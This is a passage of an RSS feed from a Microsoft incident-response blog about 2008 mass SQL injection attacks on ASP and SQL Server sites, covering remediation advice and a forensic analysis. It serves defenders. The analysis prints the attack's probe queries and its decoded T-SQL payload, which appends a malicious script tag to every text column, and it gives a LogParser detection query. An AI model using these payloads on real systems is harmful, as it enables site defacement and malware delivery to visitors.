&lt;P&gt;There is a BIG caveat on this -- the method I show above has a performance hit because I haven't specified the types of the parameters.&amp;nbsp; This means that ADO has to make a roundtrip to the SQL server to figure out the type before actually using it.&amp;nbsp; You can fix this by creating parameters objects with the appropriate type which would have the added bonus of doing simple input validation as well.&amp;nbsp; If there's interest, I'll write a followup in the next few weeks with some samples of typed, parameterized queries.&amp;nbsp; (EDIT:&amp;nbsp; Written, it's &lt;A class="" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;here&lt;/A&gt;.)&lt;/P&gt;
&lt;P&gt;Additional info is available on MSDN &lt;A href="http://msdn.microsoft.com/en-us/library/ms808739.aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms808739.aspx"&gt;here&lt;/A&gt;.&amp;nbsp; NomadPete has a fuller walkthrough &lt;A href="http://www.nomadpete.com/2007/03/23/classic-asp-which-is-still-alive-and-parametised-queries/" mce_href="http://www.nomadpete.com/2007/03/23/classic-asp-which-is-still-alive-and-parametised-queries/"&gt;here&lt;/A&gt; that covers parameterized queries and stored procedures.&lt;/P&gt;
&lt;P&gt;As always, this is only part of the job in securing against SQL injection; however, it is probably the single most useful change you could make.&lt;/P&gt;
&lt;P&gt;(Big thanks to &lt;A class="" href="http://msdn.microsoft.com/en-us/magazine/cc301140.aspx" mce_href="http://msdn.microsoft.com/en-us/magazine/cc301140.aspx"&gt;Bala Neerumalla&lt;/A&gt; for tech reviewing this for me.)&lt;BR&gt;(Edit:&amp;nbsp; Fixed two minor issues with the code examples.&amp;nbsp; Thanks, Steve!)&lt;/P&gt;
&lt;P&gt;&lt;A class="" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;Continue on to Part 2&lt;/A&gt;&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3058592" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQL Injection -- A Comment</title><link>http://blogs.technet.com/neilcar/archive/2008/04/07/sql-injection-a-comment.aspx</link><pubDate>Mon, 07 Apr 2008 17:51:19 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3031695</guid><dc:creator>neilcar</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3031695.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3031695</wfw:commentRss><description>&lt;p&gt;Kumar comments &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx"&gt;here&lt;/a&gt; and I think he has some questions/concerns that are worth addressing.&amp;#160; I'm going to add my own comments (and, please note, the comments I make here are my own and do not necessarily reflect Microsoft's corporate opinions).&lt;/p&gt;  &lt;p&gt;---------------------------------------------------------------------------------------&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;My site extensively uses asp and sql server. My site ranking is good with google for certain keywords searches.&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#0000ff"&gt;Friday morning I found that the bad people (nmidahena) had updated text fields in almost all of the tables with a &amp;lt;script&amp;gt; some thing.js &amp;lt;/script&amp;gt;. This has created a nightmare for me.&lt;/font&gt;&amp;#160; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This is consistent with what we've seen elsewhere.&amp;#160; You had one or more SQL injection vulnerabilities on an ASP page that used a query string as the SQL query.&amp;#160; The attackers found you on Google and ran their scripted attack against you, resulting in all your text getting the &amp;lt;script&amp;gt; tag appended to it.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;Fortunately, I had a backup that came to my rescue. I also downloaded all asp and html files to my local machines and searched for &amp;quot;nmidahena&amp;quot; - nothing came up.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] You won't find anything in the code files, at least not in this attack.&amp;#160; &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;This is what I have done:&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#0000ff"&gt;a) Restore sql server tables from the backup.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This is a very good step as long as you also fix the holes that were used to compromise it in the first place.&amp;#160; &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;b) Rewrite my asp forms to not to accept any character or words that could be used for sql injection.&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] This one is more problematic.&amp;#160; Just blacklisting a set of characters/words is probably going to break this attack but it's not likely to prevent future attacks from working.&amp;#160; I am not really qualified to answer this as I'm not a developer by trade.&amp;#160; Thankfully, Michael Howard and David LeBlanc spent a lot of time answering it in &lt;a href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fmspress%2Fbooks%2F5957.aspx&amp;amp;ei=MC_6R_CiE4ryiQG3ieztDg&amp;amp;usg=AFQjCNEfjlFqaCyHIguH2jfDABfm7x2WpQ&amp;amp;sig2=mbV15Vx-7v-CJDfqqhZSOw"&gt;Writing Secure Code&lt;/a&gt;.&amp;#160; I have the 2nd edition on my desk and pages 399-411 cover this at great length.&lt;/p&gt;  &lt;p&gt;[nbc] There are almost certainly other issues to be considered here.&amp;#160; The first one is that, in most of these attacks, it looks like the web app is using a user with sysadmin privileges in SQL.&amp;#160; This is as bad an idea as putting IUSR_MYSERVER in the administrators group.&amp;#160; Your web app should have the least possible privilege in SQL.&amp;#160; Running as sysadmin in SQL enables things such as xp_cmdshell, which is a great way for attackers to run sniffers, password-stealing utilities, and other malware on your SQL Server.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;[nbc] Another thing to consider is the possibility that this isn't the first SQL injection attack against you.&amp;#160; Another attacker might not have defaced your website; instead, they might have silently stolen every bit of data in your database.&amp;#160; If your web app was running as sysadmin, they might have silently stolen every bit of data in EVERY database on your SQL Server.&amp;#160; It is entirely possible that every name, e-mail address, password, credit-card number, etc that is in your database server's possession is now in somebody else's possession as well.&amp;#160; If so, your IIS logs should tell the story.&lt;/strong&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;Do you think this would be sufficient to prevent future attack?&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] There are two answers to this question:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;I think this is sufficient to prevent future iterations of this same attack...until the attackers change the script they're using.     &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;I don't think this is sufficient to prevent all future SQL injection attacks.&amp;#160; The only approach that is going to help with that is to make sure that you are using least privilege in SQL and build secure SQL statements/stored procedures.&amp;#160; Even then, of course, there may be other vulnerabilities in your site that can lead to compromise.&lt;/li&gt; &lt;/ol&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#0000ff"&gt;I dont know where to look for help. The hosting agency has no good answers.&lt;/font&gt; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;[nbc] I don't envy your hosting company or, for that matter, any hosting company.&amp;#160; In general, I don't think it's going to be their responsibility to ensure that your code is secure, so I'm not surprised that they don't have good answers.&amp;#160; On the other hand, if the security bugs in your code are severe enough, you might be opening their facility up to further compromise.&amp;#160; &lt;/p&gt;  &lt;p&gt;---------------------------------------------------------------------------------------&lt;/p&gt;  &lt;p&gt;Other people may have better advice than I, and I'd love to hear it.&amp;#160; Since I'm seeing another 11K (and rising) servers compromised this month via this attack, I think you're not the only person asking these questions.&amp;#160; I've spent a lot of time thinking about this lately from a support/incident response perspective and I have some very large questions that I can't seem to answer.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Since my team operates from a reactive position (customer gets compromised, customer calls us, we investigate and offer suggestions), how can we help customers remediate this problem when we work with them?&amp;#160; Realistically, the customer needs to do a security code review; however, this is beyond the scope of my team.&amp;#160; There are offerings that cover this but, given the amount of work and expertise involved, they are costly.     &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Even if I had the opportunity to be proactive, how could I contact the large number of people who appear to be vulnerable due to their own code defects (67K+ from last month's attack, 11K+ so far this month)?&amp;#160; &lt;/li&gt; &lt;/ul&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3031695" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Mass SQL Injection -- Get Used To It</title><link>http://blogs.technet.com/neilcar/archive/2008/04/04/mass-sql-injection-get-used-to-it.aspx</link><pubDate>Fri, 04 Apr 2008 21:00:34 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3028907</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3028907.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3028907</wfw:commentRss><description>&lt;p&gt;It looks like &lt;a href="http://malwaredomains.com/?p=148"&gt;another wave&lt;/a&gt; of the mass SQL injection &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;I talked about last month&lt;/a&gt; is going on.&amp;#160; The inserted link is different and, in the one specific incident I've seen, the source IP address is different; however, other than that, the attack looks to be identical.&lt;/p&gt;  &lt;p&gt;2.1K websites so far, this month. &lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3028907" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Anatomy of a SQL Injection Incident, Part 2: Meat</title><link>http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx</link><pubDate>Sun, 16 Mar 2008 04:18:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3004503</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3004503.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3004503</wfw:commentRss><description>&lt;p&gt;&lt;b&gt;Intro&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;It would appear that the incident I wrote about yesterday is still ongoing.&amp;nbsp; I've been using a search engine to query for the *.js file that's being injected and it looks something like this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Wednesday: 10K hits (This is Avert's number.&amp;nbsp; I didn't look until Thu.)      &lt;br&gt;Thursday: 12.1K hits       &lt;br&gt;Friday: 12.9K hits       &lt;br&gt;Saturday: 14K hits&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;It's not the most scientific measure but it does show a pretty steady progression.&amp;nbsp; The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.technet.com/robert_hensing/default.aspx" mce_href="http://blogs.technet.com/robert_hensing/default.aspx"&gt;Hensing&lt;/a&gt; took me to task, privately, for &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;my last post&lt;/a&gt; on this because it wasn't very detailed.&amp;nbsp; Fair enough, let's see if we can flesh this out.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&lt;b&gt;Analysis of an Incident&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries.&amp;nbsp; I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets.&amp;nbsp; In all four cases, the first thing that happens is:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171      &lt;br&gt;      &lt;br&gt;2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The id=... portion of that log is the cs-uri-query portion of the log.&amp;nbsp; If you were to hit this in the browser, the URL would look like this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;http://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX.&amp;nbsp; For example, %20 is a space.&amp;nbsp; The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL.&amp;nbsp; If we unencode both of those lines, we get this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;id=z ANd |user|=0      &lt;br&gt;id=z ANd |user|=0 and ''='&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The next query is a lot of fun:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This time, it reads:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;id=z ANd |user|=0 and '%'='&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as.&amp;nbsp; In this particular instance, the attacker is happy with this information and proceeds to deliver the payload.&amp;nbsp; In another instance I looked at, the attacker used one extra query with the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms176015.aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms176015.aspx"&gt;IS_SRVROLEMEMBER&lt;/a&gt; T-SQL function to see if the user was a sysadmin.&lt;/p&gt;  &lt;p&gt;So, finally, the attacker is delivering the payload.&amp;nbsp; I've truncated these for readability:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421      &lt;br&gt;      &lt;br&gt;2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This looks a little complicated but, if we remove the encoding, we get this:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;DECLARE @S NVARCHAR(4000);      &lt;br&gt;SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));       &lt;br&gt;EXEC(@S);--&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;So, here's what this little bit of T-SQL is doing:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Declaring a variable, S, as an NVARCHAR.&amp;nbsp; For those of us who don't speak T-SQL natively, think of this as a string. &lt;/li&gt;    &lt;li&gt;Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR.&amp;nbsp; In other words, we're taking this hex representation of a string and turning it into a real string. &lt;/li&gt;    &lt;li&gt;Once that's done, we execute that string as a T-SQL statement. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;So, of course, the next question is "What is that string?"&amp;nbsp; Here it is, with a bit of sanitization:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;DECLARE @T varchar(255),@C varchar(255)      &lt;br&gt;DECLARE Table_Cursor CURSOR FOR       &lt;br&gt;select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)       &lt;br&gt;OPEN Table_Cursor FETCH NEXT FROM&amp;nbsp; Table_Cursor INTO @T,@C       &lt;br&gt;WHILE(@@FETCH_STATUS=0) BEGIN       &lt;br&gt;exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''&amp;lt;script src=http://www.211796*.net/f****p.js&amp;gt;&amp;lt;/script&amp;gt;''')       &lt;br&gt;FETCH NEXT FROM&amp;nbsp; Table_Cursor INTO @T,@C       &lt;br&gt;END       &lt;br&gt;CLOSE Table_Cursor       &lt;br&gt;DEALLOCATE Table_Cursor&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This one is a little more complicated but it does something like this:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Declare a few variables that are used later. &lt;/li&gt;    &lt;li&gt;Do a SQL query on the sysobjects and syscolumns tables.&amp;nbsp; This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database.&amp;nbsp; What this query is looking for is every column in the entire database with a type that contains strings. &lt;/li&gt;    &lt;li&gt;Now, we're going to loop through all of those columns and, in every one of them... &lt;/li&gt;    &lt;li&gt;...we're going to append the &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt; text. &lt;/li&gt;    &lt;li&gt;Finally, clean up and we're done. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Now that this has run, every bit of text in your database has this malicious script tag appended to it.&amp;nbsp; If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Check Yourself&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;If you've got a website that uses a database as a backend, you should now be a little concerned.&amp;nbsp; Here are some ideas on what to look for.&lt;/p&gt;  &lt;p&gt;So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend.&amp;nbsp; That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms.&amp;nbsp; It just means that, so far, ASP pages are all that I've seen affected.&lt;/p&gt;  &lt;p&gt;If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious.&amp;nbsp; &lt;a href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fdownloads%2Fdetails.aspx%3FFamilyID%3D890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;amp;ei=UHLcR43cCpyGzQT0nOWuAw&amp;amp;usg=AFQjCNGYcYCEUI2OdAX2GV_EO6ETNHqXnA&amp;amp;sig2=z4mlzIH16guIDiu8W6uCww" mce_href="http://www.google.com/url?sa=t&amp;amp;ct=res&amp;amp;cd=1&amp;amp;url=http%3A%2F%2Fwww.microsoft.com%2Fdownloads%2Fdetails.aspx%3FFamilyID%3D890cd06b-abf8-4c25-91b2-f8d975cf8c07&amp;amp;ei=UHLcR43cCpyGzQT0nOWuAw&amp;amp;usg=AFQjCNGYcYCEUI2OdAX2GV_EO6ETNHqXnA&amp;amp;sig2=z4mlzIH16guIDiu8W6uCww"&gt;LogParser&lt;/a&gt; is, hands down, my favorite tool for this sort of work.&amp;nbsp; If you download it, you should be able to do a query like this on your IIS logs:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv.&amp;nbsp; Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).&lt;/p&gt;  &lt;p&gt;If you are affected, then this isn't going to be an easy incident to recover from.&amp;nbsp; My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site.&amp;nbsp; That's not going to impress anybody.&lt;/p&gt;  &lt;p&gt;The first order of business would be to figure out where you're vulnerable and how vulnerable you are.&amp;nbsp; That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of &lt;a href="http://www.microsoft.com/mspress/books/5957.aspx" mce_href="http://www.microsoft.com/mspress/books/5957.aspx"&gt;Writing Secure Code&lt;/a&gt; and going from there.&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;i&gt;Edit:&lt;/i&gt; I forgot to mention that this is also a good time to review the privileges that your web app has in SQL.&amp;nbsp; It definitely shouldn't need to be sysadmin!     &lt;br&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Footnotes&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.&lt;/p&gt;  &lt;p&gt;(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident.&amp;nbsp; If you believe you've been affected by this,&amp;nbsp; you can call us for assistance.&amp;nbsp; &lt;a href="http://support.microsoft.com/gp/securityitpro" mce_href="http://support.microsoft.com/gp/securityitpro"&gt;This page&lt;/a&gt; has all the appropriate details for the US and Canada and there are links from there to every other region.&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3004503" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Anatomy of a SQL Injection Incident</title><link>http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx</link><pubDate>Fri, 14 Mar 2008 23:19:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:2999681</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/2999681.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=2999681</wfw:commentRss><description>&lt;p&gt;A number of people are reporting that 10K+ websites have been hacked via a SQL injection attack that injected a link to a malicious .js file into text fields in their database.&amp;nbsp; For example, here's &lt;a href="http://www.avertlabs.com/research/blog/index.php/2008/03/12/another-mass-attack-underway/" mce_href="http://www.avertlabs.com/research/blog/index.php/2008/03/12/another-mass-attack-underway/"&gt;Avert Labs report&lt;/a&gt;.&lt;br&gt; &lt;/p&gt;    &lt;p&gt;The reports that I've seen talk about how the .js file tries to compromise clients that connect to the defaced web servers; however, they don't discuss the really interesting part.&amp;nbsp; How did the servers get hacked in the first place?&amp;nbsp; &lt;/p&gt;  &lt;p&gt;Whenever I see a large number of hosts compromised in the same way, my initial assumption is that they all share a piece of vulnerable code.&amp;nbsp; If this was the case, I thought that it would be in everybody's interest to figure out what that shared code was and take appropriate action.&lt;/p&gt;  &lt;p&gt;Since the CSS Security team here at Microsoft worked with several of these incidents, I was able to look at multiple sets of data and the work that my colleagues had already done.&amp;nbsp; The first thing I noticed was that the attacks looked, with a few exceptions, identical.&amp;nbsp; They shared several things in common:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Two initial query strings that do some basic injection, apparently as a test.&lt;/li&gt;    &lt;li&gt;One or more additional queries, specifically to do IS_SRVROLEMEMBER() happen in some cases.&lt;/li&gt;    &lt;li&gt;Two final queries that DECLARE a variable that CASTs a large hex value into NVARCHAR and then EXEC()'s that string.&amp;nbsp; The string contains a script to append the link to the .js file onto every string-type column in every table in the database.&lt;/li&gt;    &lt;li&gt;All of these happen within a very short period of time.&amp;nbsp; The only lag seems to be the time it takes the final two queries to execute.&amp;nbsp; (In the case with the largest database, the last query actually failed with a timeout.&amp;nbsp; I guess that's not surprising since it's essentially doing a find-and-replace on the entire database table.)&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;The last item makes me think that this is an automated process of some sort, particularly since the user-agent string for the last two queries is different from the user-agent string for the preceding ones.&lt;/p&gt;  &lt;p&gt;This is where it gets interesting, though.&amp;nbsp; In comparing the pages that were compromised in different incidents, I realized that, while they're all vulnerable to SQL injection, they don't appear to share any common code.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;My next question, then, was how did the attacker select these sites?&amp;nbsp; Given that the whole attack took a very short period of time and the attacker only touched a single ASP page on the server, it was pretty clear that they had some reason to believe that page was vulnerable prior to connecting to the site.&amp;nbsp; It's possible that they had previously scanned the site but I didn't find any indication that this was true.&lt;/p&gt;  &lt;p&gt;The other possibility that occurred to me was that the attacker was using a generalized approach to search Google for vulnerable sites.&amp;nbsp; As I was thinking this through, I found that I wasn't the first person to have thought about it:&lt;/p&gt;&lt;p&gt;&lt;a href="http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx" mce_href="http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx"&gt;How Prevalent Are SQL Injection Vulnerabilities&lt;/a&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx" mce_href="http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx"&gt;Guard Against SQL Injection Attacks&lt;/a&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html" mce_href="http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html"&gt;SQL Injection Is Surprisingly Easy&lt;br&gt;&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;So, there you have it -- automated SQL injection attacks in a nutshell.&amp;nbsp; Next week, I'll try to find some time to go into some of the details and brainstorm on how incident responders can get to the root of SQL injection attacks.&lt;/p&gt;  &lt;p&gt;(I should note that many brilliant people on my team provided information and analysis into how the incidents happened.)&lt;/p&gt;&lt;p&gt;(Part 2 is &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx"&gt;here&lt;/a&gt;.) &lt;br&gt;&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=2999681" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item></channel></rss>